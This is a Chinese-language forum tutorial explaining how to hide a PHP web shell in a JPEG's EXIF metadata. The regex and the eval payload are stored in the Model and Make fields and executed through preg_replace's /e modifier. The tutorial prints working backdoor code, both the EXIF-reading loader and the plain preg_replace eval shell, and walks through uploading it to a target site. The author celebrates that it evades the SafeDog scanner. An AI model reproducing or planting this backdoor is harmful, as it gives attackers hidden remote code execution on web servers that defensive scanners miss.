隱藏在圖片裏的後門

一、前言

本文原創作者:sucppVK,本文屬i春秋原創獎勵計劃,未經許可禁止轉載!

先說明三點:

 

  • 這個後門就是一句話木馬
  • 這個不同於我們常說的圖片馬
  • 這個後門是過安全狗的


這個不算什麼新姿勢,只不過被提到的次數比較少

(各大論壇常見的,無非編碼、解碼、分割等,本文不屬於以上幾種)

而且咱們i春秋論壇沒有相關資料,小弟就來拋磚引玉了。

學習本教程應具備的基礎:
 

  • 基本瞭解一句話木馬
  • 會一點點php(善於百度自學的也算)
  • 基本瞭解正則匹配


第一點看我以前寫的教程就可以了:

文字教程就在咱們論壇:

http://bbs.ichunqiu.com/thread-17816-1-1.html


二、正文

2.1 先看看效果


下面就是木馬的代碼:

php <?php $x = exif_read_data('1.jpg'); preg_replace($x['Model'], $x['Make'], ''); ?>


當然不光這個php文件,還有一個隱藏了後門的圖片。

也就是上面那段代碼裏面的1.jpg



將圖片和php文件,這兩都上傳的目標站點,這裏用dvwa演示:



然後訪問:



成功!

好了,再回來看看這個木馬:

<?php

  $x = exif_read_data('4.jpg');

  preg_replace($x['Model'], $x['Make'], '');

 ?>


有經驗的表哥估計已經看出端倪了,這個就是preg_replace代碼執行


下面開始教學吧。

2.2 preg_replace代碼執行

我們都知道正則匹配有八個修正符。

i是表示不區分大小寫

x表示模式中的空白忽略不計,這個不是本次教程的重點,也就不多說,

沒這方面基礎的同學,趕快去菜鳥學院(上面有提供鏈接)惡補一下

而咱們要用到的就是e

php裏只有preg_replace函數能使用這個修正符

使用e修飾符,preg_replace會將 replacement 參數(第二個參數)當作 PHP 代碼執行

php <?php preg_replace('/.*/e', '@eval($_POST["qq"])', ''); ?>


這個就是之前的一句話木馬的原型了。

.*表示匹配所有字符

把它替換成@eval($_POST["qq"]),然後執行這個eval函數

爲了讓你們更清楚,我修改成以下代碼:

php <?php preg_replace('/.*/e', 'print_r("hello world")', ''); ?>




.在正則表達式裏,匹配除 "\n" 之外的任何單個字符。

*表示匹配前面的子表達式零次或多次。

將要被處理的字符串,也就是pregreplace裏第三個參數是空,也會被匹配到,並且將之替換成printr("hello world"),執行!

因此結果就如圖片那樣,顯示hello world

因此替換成一句話木馬,@eval($_POST["qq"]),也是可以執行



是不是很神奇,可惜安全狗知道你是木馬。。



因此,咱們要把一句話藏在圖片裏,然後再調用。

如果正則表達式不過關的話,這裏是很難理解的。

2.3 什麼是EXIF

Exif就是在JPEG格式頭部插入了數碼照片的信息,包括拍攝時的光圈、快門、白平衡、ISO、焦距、日期時間等各種和拍攝條件以及相機品牌、型號、色彩編碼、拍攝時錄製的聲音以及GPS全球定位系統數據、縮略圖等。

ctf的某些圖像隱寫術題,就會把flag藏在exif裏面

php中用函數exifreaddata可以讀取jpeg的exif信息

<?php

  echo '<pre>';

  print_r(exif_read_data('1.jpg'));

  echo '</pre>';

?>




這個就是隱藏了flag的圖片

我們把他重命名爲1.jpg,放在上面那段php的目錄下

運行:



這樣就讀取到了這個圖片的exif信息

2.4 開始製作木馬

我們需要用到工具:exif pilot

他可以修改jpg圖片的exif信息:



工具使用很簡單,下載來就能直接上手。

用php的exifreaddata函數讀取這個剛剛修改的圖片看看:



現在,再回過頭看看那段代碼,應該很清楚了吧

php <?php $x = exif_read_data('1.jpg'); preg_replace($x['Model'], $x['Make'], ''); //實際等於preg_replace('/.*/e', '@eval($_POST["qq"])', '') ?>


讀取同目錄下,1.jpg的exif信息,存在$x裏

注意,$x是數組。

咱們的正則表達式存在了$x['Model']

一句話存在$x['Make']

注意區分大小寫!

咱們執行看看:




成功,看不懂的去看我的一句話木馬教程。

再看看安全狗的反應,咱們的木馬文件名依舊是text1.php




這時候已經掃不出來了23333

三、結束語

此文是我看一篇國外的文章後寫的,那篇文章已經有些年代了,所以我說不是什麼新姿勢,但過狗啊2333

而且這也能開闊思維,拋磚引玉。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章